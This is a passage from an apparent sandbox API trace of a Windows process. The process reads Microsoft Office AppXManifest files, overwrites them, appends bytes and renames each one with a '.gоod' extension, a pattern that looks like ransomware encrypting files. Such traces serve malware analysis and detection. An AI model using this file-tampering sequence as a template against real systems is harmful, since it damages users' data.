lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0127.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0127.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.857] GetFileType (hFile=0x630) returned 0x1 [0127.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0127.857] GetFileType (hFile=0x630) returned 0x1 [0127.857] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x2400 [0127.857] WriteFile (in: hFile=0x630, lpBuffer=0x367ac28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x367ac28*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0127.857] CloseHandle (hObject=0x630) returned 1 [0127.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0127.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0127.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.858] GetFileType (hFile=0x630) returned 0x1 [0127.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0127.858] GetFileType (hFile=0x630) returned 0x1 [0127.858] ReadFile (in: hFile=0x630, lpBuffer=0x367cf80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x367cf80*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0128.010] CloseHandle (hObject=0x630) returned 1 [0128.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0128.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0128.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0128.011] GetFileType (hFile=0x630) returned 0x1 [0128.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0128.011] GetFileType (hFile=0x630) returned 0x1 [0128.011] WriteFile (in: hFile=0x630, lpBuffer=0x34c2d20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x34c2d20*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0128.011] CloseHandle (hObject=0x630) returned 1 [0128.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0128.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0128.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0128.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x48841598, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2410)) returned 1 [0128.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0128.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0128.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0128.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0128.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x358c6f8 | out: lpFileInformation=0x358c6f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0128.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0128.013] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0128.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0128.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0128.013] GetFileType (hFile=0x630) returned 0x1 [0128.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0128.013] GetFileType (hFile=0x630) returned 0x1 [0128.013] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0128.013] ReadFile (in: hFile=0x630, lpBuffer=0x358cfc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x358cfc0*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0128.014] CloseHandle (hObject=0x630) returned 1 [0128.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0128.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0128.566] GetFileType (hFile=0x630) returned 0x1 [0128.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0128.566] GetFileType (hFile=0x630) returned 0x1 [0128.566] WriteFile (in: hFile=0x630, lpBuffer=0x35967d8*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x35967d8*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0128.567] CloseHandle (hObject=0x630) returned 1 [0128.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0128.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0128.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0128.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x48d91961, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0128.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0128.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0128.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0128.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0128.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3597b40 | out: lpFileInformation=0x3597b40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8)) returned 1 [0128.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0128.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0128.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0128.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0128.568] GetFileType (hFile=0x630) returned 0x1 [0128.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0128.568] GetFileType (hFile=0x630) returned 0x1 [0128.568] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0128.569] ReadFile (in: hFile=0x630, lpBuffer=0x3598088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x3598088*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0128.570] CloseHandle (hObject=0x630) returned 1 [0128.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0128.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0128.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0128.570] GetFileType (hFile=0x630) returned 0x1 [0128.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0128.570] GetFileType (hFile=0x630) returned 0x1 [0128.570] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x618a8 [0128.570] WriteFile (in: hFile=0x630, lpBuffer=0x35993d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x35993d8*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0128.572] CloseHandle (hObject=0x630) returned 1 [0128.572] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0128.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0128.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0128.572] GetFileType (hFile=0x630) returned 0x1 [0128.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0128.572] GetFileType (hFile=0x630) returned 0x1 [0128.572] ReadFile (in: hFile=0x630, lpBuffer=0x359b730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x359b730*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0129.079] CloseHandle (hObject=0x630) returned 1 [0129.079] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0129.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0129.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.079] GetFileType (hFile=0x630) returned 0x1 [0129.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0129.079] GetFileType (hFile=0x630) returned 0x1 [0129.079] WriteFile (in: hFile=0x630, lpBuffer=0x34671e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x34671e8*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0129.080] CloseHandle (hObject=0x630) returned 1 [0129.080] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0129.080] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0129.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0129.080] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x49256e17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x618b8)) returned 1 [0129.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0129.600] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0129.634] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0129.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0129.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3635e78 | out: lpFileInformation=0x3635e78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0129.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0129.634] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0129.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0129.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0129.634] GetFileType (hFile=0x6e0) returned 0x1 [0129.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0129.634] GetFileType (hFile=0x6e0) returned 0x1 [0129.634] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0129.634] ReadFile (in: hFile=0x6e0, lpBuffer=0x3636740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3636740*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0129.636] CloseHandle (hObject=0x6e0) returned 1 [0129.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0129.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0129.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0129.790] GetFileType (hFile=0x6e0) returned 0x1 [0129.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0129.790] GetFileType (hFile=0x6e0) returned 0x1 [0129.791] WriteFile (in: hFile=0x6e0, lpBuffer=0x34bdcd0*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x34bdcd0*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0129.791] CloseHandle (hObject=0x6e0) returned 1 [0129.792] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0129.792] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0129.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0129.792] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: 